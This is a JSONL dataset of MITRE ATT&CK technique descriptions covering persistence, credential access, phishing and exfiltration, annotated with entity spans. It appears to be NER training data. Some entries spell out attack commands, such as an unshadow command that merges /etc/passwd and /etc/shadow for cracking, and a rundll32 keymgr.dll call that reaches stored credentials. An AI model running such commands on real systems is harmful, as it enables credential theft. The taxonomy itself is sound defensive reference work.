{"text": "Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with File Deletion to cleanup older artifacts.\n\nRelocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., Match Legitimate Resource Name or Location). Payloads may also be repositioned to target File/Path Exclusions as well as specific locations associated with establishing Persistence.\n\nRelocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as User Execution and Phishing) that may have generated alerts or otherwise drawn attention from defenders. Moving payloads into target directories does not alter the Creation timestamp, thereby evading detection logic reliant on modifications to this artifact (i.e., Timestomp).", "spans": {"TOOL: Timestomp": [[1036, 1045]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.010"}}
{"text": "Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1591.004"}}
{"text": "Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.  Some data encoding systems may also result in data compression, such as gzip.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1132"}}
{"text": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. \n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.  Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.", "spans": {"SYSTEM: Registry": [[239, 247]], "ORGANIZATION: Microsoft": [[287, 296], [387, 396]], "SYSTEM: Windows NT": [[297, 307], [397, 407]], "SYSTEM: Windows": [[323, 330], [423, 430]], "SYSTEM: API": [[869, 872]], "SYSTEM: Windows 8": [[930, 939]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.010"}}
{"text": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1598"}}
{"text": "Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nResource hijacking may take a number of different forms. For example, adversaries may:\n\n* Leverage compute resources in order to mine cryptocurrency\n* Sell network bandwidth to proxy networks\n* Generate SMS traffic for profit\n* Abuse cloud-based messaging services to send large quantities of spam messages\n\nIn some cases, adversaries may leverage multiple types of Resource Hijacking at once.", "spans": {"TOOL: at": [[544, 546]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1496"}}
{"text": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for Phishing for Information or Phishing. In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to Acquire Infrastructure for malicious purposes.", "spans": {"ORGANIZATION: Facebook": [[760, 768]], "ORGANIZATION: Google": [[789, 795]], "SYSTEM: GitHub": [[797, 803]], "SYSTEM: Docker": [[805, 811]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1585"}}
{"text": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.", "spans": {"SYSTEM: SSL": [[946, 949]], "SYSTEM: TLS": [[950, 953]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1588"}}
{"text": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.", "spans": {"SYSTEM: Windows": [[261, 268], [404, 411], [464, 471]], "FILEPATH: C:\\Windows\\System32\\": [[326, 346]], "FILEPATH: C:\\Windows\\sysWOW64\\": [[365, 385]], "SYSTEM: Registry": [[541, 549]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.002"}}
{"text": "Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.\n\nFor example, in Entra ID, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication. In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested. These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. \n\nBy modifying conditional access policies, such as adding additional trusted IP ranges, removing Multi-Factor Authentication requirements, or allowing additional Unused/Unsupported Cloud Regions, adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.", "spans": {"SYSTEM: AWS": [[629, 632]], "SYSTEM: GCP": [[637, 640]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1556.009"}}
{"text": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may Create Snapshot of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect Data from Local System or for Remote Data Staging.\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.", "spans": {"TOOL: mount": [[372, 377]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1578.002"}}
{"text": "Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault.  \n\nSecrets managers support the secure centralized management of passwords, API keys, and other credential material. Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables.  \n\nIf an adversary is able to gain sufficient privileges in a cloud environment – for example, by obtaining the credentials of high-privileged Cloud Accounts or compromising a service that has permission to retrieve secrets – they may be able to request secrets from the secrets manager. This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.\n\n**Note:** this technique is distinct from Cloud Instance Metadata API in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API.", "spans": {"SYSTEM: AWS": [[90, 93], [839, 842]], "SYSTEM: GCP": [[111, 114], [873, 876]], "SYSTEM: Azure": [[131, 136], [912, 917]], "SYSTEM: API": [[245, 248], [376, 379], [986, 989], [1131, 1134]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1555.006"}}
{"text": "Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or Unsecured Credentials contained within software's source code.  Having access to software's source code may allow adversaries to develop Exploits, while credentials may provide access to additional resources using Valid Accounts.\n\n**Note:** This is distinct from Code Repositories, which focuses on conducting Reconnaissance via public code repositories.", "spans": {"SYSTEM: GitLab": [[246, 252]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1213.003"}}
{"text": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "spans": {"TOOL: route": [[30, 35]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1565.002"}}
{"text": "Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information, including password hashes in <code>/etc/shadow</code>. By default, <code>/etc/shadow</code> is only readable by the root user.\n\nLinux stores user information such as user ID, group ID, home directory path, and login shell in <code>/etc/passwd</code>. A \"user\" on the system may belong to a person or a service. All password hashes are stored in <code>/etc/shadow</code> - including entries for users with no passwords and users with locked or disabled accounts.\n\nAdversaries may attempt to read or dump the <code>/etc/passwd</code> and <code>/etc/shadow</code> files on Linux systems via command line utilities such as the <code>cat</code> command. Additionally, the Linux utility <code>unshadow</code> can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command <code>/usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>. Since the user information stored in <code>/etc/passwd</code> are linked to the password hashes in <code>/etc/shadow</code>, an adversary would need to have access to both.", "spans": {"FILEPATH: /etc/passwd": [[54, 65], [202, 213], [516, 527], [798, 809], [1155, 1166], [1255, 1266]], "FILEPATH: /etc/shadow": [[83, 94], [231, 242], [320, 331], [358, 369], [636, 647], [827, 838], [1167, 1178], [1317, 1328]], "SYSTEM: Linux": [[151, 156], [413, 418], [855, 860], [952, 957]], "TOOL: John the Ripper": [[1084, 1099]], "FILEPATH: /usr/bin/unshadow": [[1137, 1154]], "FILEPATH: /tmp/crack.password.db": [[1181, 1203]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1003.008"}}
{"text": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.  Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time. Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the Launchctl command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code> or <code>KeepAlive</code> keys set to <code>true</code>. The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.", "spans": {"TOOL: at": [[689, 691], [861, 863]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1543.001"}}
{"text": "Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence (Create or Modify System Process), but adversaries can also abuse services for one-time or temporary execution.", "spans": {"TOOL: at": [[222, 224]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1569"}}
{"text": "Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH.\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.", "spans": {"SYSTEM: Windows": [[26, 33], [67, 74], [128, 135], [149, 156]], "TOOL: cmd": [[90, 93], [404, 407], [698, 701], [764, 767], [808, 811]], "SYSTEM: SSH": [[372, 375]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.003"}}
{"text": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within <code>/proc/[pid]/maps</code> can be overwritten using dd. \n\nOther techniques such as Dynamic Linker Hijacking may be used to populate a target process with more available gadgets. Similar to Process Hollowing, proc memory injection may target child processes (such as a backgrounded copy of sleep). \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"FILEPATH: /proc/[pid]": [[371, 382]], "FILEPATH: /proc/[pid]/maps": [[1033, 1049]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055.009"}}
{"text": "Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems. In some cases, adversary groups may form partnerships to share compromised systems with each other.\n\nFootholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., Web Shell) or established access via External Remote Services. In some cases, access brokers will implant compromised systems with a “load” that can be used to install additional malware for paying customers.\n\nBy leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.\n\nIn some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a Trusted Relationship, Multi-Factor Authentication Interception, or even Supply Chain Compromise.\n\n**Note:** while this technique is distinct from other behaviors such as Purchase Technical Data and Credentials, they may often be used in conjunction (especially where the acquired foothold requires Valid Accounts).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1650"}}
{"text": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.     Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file.  Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection.  The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system.  This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system.  Adversaries may use malicious code previously implanted in the boot loader, such as through the ROMMONkit method, to directly manipulate running operating system code in memory.  This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via Weaken Encryption, authentication, via Network Device Authentication, and perimeter defenses, via Network Boundary Bridging.  Adding new capabilities for the adversary’s purpose include Keylogging, Multi-hop Proxy, and Port Knocking.\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders.   When this method is used in conjunction with Downgrade System Image, one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system.  By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via TFTP Boot. \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots.  However, live memory modification of the operating system can be combined with ROMMONkit to achieve persistence.", "spans": {"TOOL: FTP": [[642, 645]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1601.001"}}
{"text": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.\n\nPassword hashes for target services may be obtained using OS Credential Dumping or Kerberoasting.", "spans": {"SYSTEM: SharePoint": [[73, 83]], "SYSTEM: Kerberos": [[102, 110], [180, 188]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1558.002"}}
{"text": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., Transfer Data to Cloud Account). \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., Unsecured Credentials) \n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII) \n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:\n\n* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases \n* Collaboration platforms such as SharePoint, Confluence, and code repositories\n* Messaging platforms such as Slack and Microsoft Teams \n\nIn some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.", "spans": {"SYSTEM: Access": [[334, 340]], "SYSTEM: SharePoint": [[1534, 1544]], "SYSTEM: Confluence": [[1546, 1556]], "SYSTEM: Slack": [[1610, 1615]], "ORGANIZATION: Microsoft": [[1620, 1629]], "SYSTEM: AWS": [[1911, 1914]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1213"}}
{"text": "Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, Modify Registry, Plist File Modification, or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence. Adversaries may also delete accounts previously created to maintain persistence (i.e. Create Account).\n\nIn some instances, artifacts of persistence may also be removed once an adversary’s persistence is executed in order to prevent errors with the new instance of the malware.", "spans": {"SYSTEM: Registry": [[228, 236]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.009"}}
{"text": "Adversaries may abuse hypervisor command line interpreters (CLIs) to execute malicious commands. Hypervisor CLIs typically enable a wide variety of functionality for managing both the hypervisor itself and the guest virtual machines it hosts. \n\nFor example, on ESXi systems, tools such as `esxcli` and `vim-cmd` allow administrators to configure firewall rules and log forwarding on the hypervisor, list virtual machines, start and stop virtual machines, and more. Adversaries may be able to leverage these tools in order to support further actions, such as File and Directory Discovery or Data Encrypted for Impact.", "spans": {"TOOL: cmd": [[307, 310]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.012"}}
{"text": "Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of Credentials from Web Browsers, Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as <code>CredEnumerateA</code>, may also be absued to list credentials managed by the Credential Manager.\n\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.", "spans": {"SYSTEM: Windows": [[45, 52], [267, 274], [289, 296], [639, 646], [1008, 1015], [1101, 1108], [1336, 1343]], "SYSTEM: NTLM": [[207, 211]], "SYSTEM: Kerberos": [[215, 223]], "SYSTEM: Internet Explorer": [[444, 461]], "ORGANIZATION: Microsoft": [[466, 475]], "SYSTEM: Edge": [[476, 480]], "FILEPATH: %Systemdrive%": [[748, 761]], "FILEPATH: \\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`.": [[767, 827]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1555.004"}}
{"text": "Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name.\n\nOften, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management. They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.” Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery.  \n\nNote that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.", "spans": {"TOOL: at": [[199, 201]], "SYSTEM: Access": [[252, 258]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.010"}}
{"text": "Adversaries may physically introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. Replication Through Removable Media), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. Adversary-in-the-Middle), keystroke injection, kernel memory reading via DMA, addition of new wireless access points to an existing network, and others.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1200"}}
{"text": "An adversary may use legitimate desktop support software to establish an interactive command and control channel to target systems within networks. Desktop support software provides a graphical interface for remotely controlling another computer, transmitting the display output, keyboard input, and mouse control between devices using various protocols. Desktop support software, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment. \n \nRemote access modules/features may also exist as part of otherwise existing software such as Zoom or Google Chrome’s Remote Desktop.", "spans": {"TOOL: VNC": [[390, 393]], "TOOL: AnyDesk": [[412, 419]], "SYSTEM: Google Chrome": [[754, 767]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1219.002"}}
{"text": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1505"}}
{"text": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives. Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from Disk Content Wipe and Disk Structure Wipe because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable. In some cases politically oriented image files have been used to overwrite data.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares..\n\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers. Similarly, they may delete virtual machines from on-prem virtualized environments.", "spans": {"SYSTEM: SMB": [[1231, 1234]], "SYSTEM: Windows": [[1235, 1242]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1485"}}
{"text": "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.", "spans": {"SYSTEM: HTTP": [[452, 456]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1132.002"}}
{"text": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: Skeleton Key). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.", "spans": {"MALWARE: Skeleton Key": [[353, 365]], "SYSTEM: LSASS": [[462, 467]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1556.001"}}
{"text": "Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nAdversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.", "spans": {"SYSTEM: Azure": [[797, 802]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1537"}}
